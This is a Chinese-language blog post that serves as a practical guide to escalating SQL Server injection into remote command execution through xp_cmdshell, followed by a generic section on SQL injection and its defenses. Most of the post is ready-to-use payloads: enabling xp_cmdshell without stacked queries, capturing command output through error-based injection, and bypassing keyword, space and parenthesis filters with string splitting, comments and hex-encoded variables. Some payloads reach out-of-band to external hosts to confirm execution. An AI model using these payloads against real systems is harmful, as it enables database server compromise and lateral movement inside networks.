sql server注入rce实践

 背景:在漏洞挖掘中,合理的利用sql注入,可以把注入转换成rce,使一个高危漏洞变成严重漏洞。在红蓝对抗中,利用注入rce,实现内网横向移动。笔者基于漏洞挖掘和红蓝对抗上遇到的sql server注入做了个sql server的rce实践总结。

1.如何判断sql server是否可以rce?

select user;

  权限为dbo

  确定当前用户是否为管理员:

SELECT IS_SRVROLEMEMBER('sysadmin')

只有是sysadmin组的sql server账号才能执行系统命令

 2.sql server 命令执行 xp_cmdshell扩展

exec master..xp_cmdshell 'ping a43bade1.ipv6.bypass.eu.org'

直接执行会报错,尝试开启xp_cmdshell:

在高版本的sql server中已经无法使用xp_cmdshell ,测试版本sql server2017.

详细介绍如下:https://stackoverflow.com/questions/59971345/cannot-enable-xp-cmdshell-on-sql-server-2017-express-on-linux

切换sql server为2008:

开启xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

 3.sql server特性:

数字+字符串,不会报错  sql server会认为id=1and 1=1 就是id=1和and 1=1,自动会做处理

4.变量声明特性 DECLARE

不需要set也能声明变量使用:

1> DECLARE @bc varchar (8000) = 0x6f72616e6765;
2> select * from Inventory where name=@bc;
3> go

bypass:允许空格脏数据

DECLARE @i varchar (8000) = 0x6f72616e6765202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020

2> select * from Inventory where name=@i;
3> go

不影响执行,原因在于数据后面的空格会被处理掉:

1> select * from Inventory where name="orange";
2> select * from Inventory where name="orange   

完全不影响执行

数据前后支持填充00 bypass:

1> DECLARE @i varchar (8000) = 0x0000000000000000000000006f72616e6765000000000000000000000000000000
2> select * from Inventory where name=@i;
3> go

不会影响数据正常执行

5.sql server不支持堆叠也可以rce:

支持查询显示的sql server注入,不支持堆叠也可以rce:

select * from student where name='test'INSERT temp_abcdzxc(data) EXEC master..xp_cmdshell 'whoami' select '1'
select * from student where name='test'INSERT temp_abcdzxc(data) EXECute master..xp_cmdshell 'ipconfig'-- 123
ipconfig内容很大,会自动分行:

使用execute bypass:

如果命令执行的语句包含空格,那么需要双引号包裹:
execute('xp_cmdshell "nslookup baidu.com"')

一些变形:
支持换行空格填充
execute('xp_c'+'md' +       
'sh'+'ell'+' w'+'ho'+'ami')

更大的变形bypass:
execute('xp_c'+'md' +       
'sh'+'ell'+'                        


'+'"nslookup baidu.com"')

关键字检测的变形:
execute('xp_c'+'md' +       
'sh'+'ell'+'                        


'+'"nsl'+'ookup ba'+'idu.com"')

执行图在下方:

6.实战利用 不支持堆叠的情况下,可以进行报错注入回显 条件:支持sql语句报错

以数字类型sql注入为例:

第一步创建sql:
select * from student where id=1CREATE TABLE test_exec(id INT PRIMARY KEY IDENTITY, data VARCHAR(2100))

第二步:

执行存储过程命令执行插入数据到相关列中:
select * from student where id=1 INSERT into test_exec(data) execute('xp_cmdshell whoami')

第三步:

通过sql报错回显命令:
select * from student where id=1 and 1=convert(int,(select data from test_exec where id=1))

成功执行命令

7.sql server不支持堆叠开启xp_cmdshell:

第一步:关闭xp_cmdshell:

RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0
execute('xp_cmdshell "nslookup baidu.com"')

第二步:不支持堆叠的情况下启动xp_cmdshell:

以字符串注入为例子:

select * from student where name='ddd' execute('EXEC sp_configure "xp_cmdshell",1')
select * from student where name='ddd' execute('RECONFIGURE')

再次执行命令,执行成功没用到分号:

方法2:使用exec执行存储过程 用于过滤括号()的场景:

select * from student where name='ddd' exec  sp_configure xp_cmdshell,1
select * from student where name='ddd' RECONFIGURE

成功执行命令

8.hw实战案例,过滤(),=,空格 ,进行盲注执行命令例子:

因为过滤了空格无法使用声明变量的方式执行命令
select * from student where name='ddd'/**/exec/**/sp_configure/**/xp_cmdshell,1
select * from student where name='ddd'/**/RECONFIGURE

因为过滤空格,所以执行命令需要使用特殊办法规避空格
execute('xp_cmdshell/**/"nslookup%CommonProgramFiles:~10,-18%baidu.com"')

9.关闭高级扩展不彻底导致的rce:

exec sp_configure  'show advanced options',0
RECONFIGURE
exec xp_cmdshell "whoami"

问题导致的原因:

10.判断是否支持声明变量的办法:

延迟2s
select * from student where name='ddd' declare @i varchar(3000)=0x77616974666F722064656C61792027303A303A3227 execute(@i)

如果支持执行命令:

玩法巨多,说一种bypass的:

select * from student where name='ddd' declare @i varchar(3000)=0x6e736c6f6f6b75702062616964752e636f6d00000000
exec-- 123
xp_cmdshell
@i

成功执行命令:

11.判断是否支持堆叠查询:

1.产生延迟
select * from student where name='ddd';waitfor delay '0:0:2'-- 123
2.返回200 和返回异常
select * from student where name='ddd'select '1'
select * from student where name='ddd'select EXP(111111)-- 123
图在下方:

12.补充 []字符串:今早chybeta给我发了个文章,我补充下[]的内容:

 使用[]字符串 bypass:

参考链接:https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/

### SQL注入的用例和应用场景 SQL注入是一种严重的网络安全威胁,它通过操纵Web应用中的输入字段,使恶意SQL代码得以执行。以下是几个典型的SQL注入示例及其可能的应用场景: #### 1. **身份验证绕过** 攻击者可以通过修改登录页面上的用户名或密码字段来绕过身份验证。例如,假设登录查询如下所示: ```sql SELECT * FROM users WHERE username = '$username' AND password = '$password'; ``` 如果未对用户输入进行适当过滤,则攻击者可以提交以下内容作为`$username`值: ```plaintext admin' -- ``` 这会使最终的SQL查询变为: ```sql SELECT * FROM users WHERE username = 'admin' -- AND password = ''; ``` 注释符 `--` 将剩余部分忽略,从而使攻击者无需知道实际密码即可成功登录[^1]。 #### 2. **数据泄露** 攻击者还可以利用SQL注入提取数据库中的敏感信息。例如,如果存在一个产品搜索功能,其查询结构为: ```sql SELECT * FROM products WHERE name LIKE '%$input%'; ``` 那么攻击者可以输入类似于以下的内容: ```plaintext %' UNION ALL SELECT null, concat_ws('::', table_name), null FROM information_schema.tables-- ``` 此类输入可能会返回数据库中所有表的名字列表,进一步帮助攻击者定位并窃取有价值的数据[^4]。 #### 3. **破坏数据完整性** 在某些情况下,攻击者不仅能够读取数据,还可能更改或删除重要记录。比如,当应用程序允许动态构建DELETE语句时,未经验证的输入可能导致意外的大规模删除操作。考虑下面这个例子: ```sql DELETE FROM orders WHERE order_id = $order_id; ``` 若 `$order_id` 被设置成 `' OR '1'='1`, 则会变成: ```sql DELETE FROM orders WHERE order_id='' OR '1'='1'; ``` 结果就是整个订单表被清空[^3]。 #### 4. **远程代码执行 (RCE)** 更高级别的SQL注入甚至能触发操作系统级别的命令执行。这通常发生在支持存储过程或者外部脚本调用的功能里。例如MySQL中有LOAD_FILE()函数可用于加载文件系统内的任何可访问文档;而xp_cmdshell扩展则让Microsoft SQL Server可以直接运行批处理指令[^2]。 --- ### 如何防范SQL注入? 尽管上述案例展示了SQL注入的强大威力,但只要采取恰当的安全措施就可以有效预防此类攻击的发生。主要方法包括但不限于以下几个方面: - 使用预编译语句与参数化查询替代字符串拼接方式构造SQL; - 对所有的外部输入进行全面细致地校验,拒绝不符合预期模式的信息传递给后台逻辑层处理; - 实施最小权限原则,确保即使发生突破也只能影响有限范围资源而非核心业务资产; - 定期审查现有软件版本状态,及时安装官方发布的修复补丁解决已知缺陷问题。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值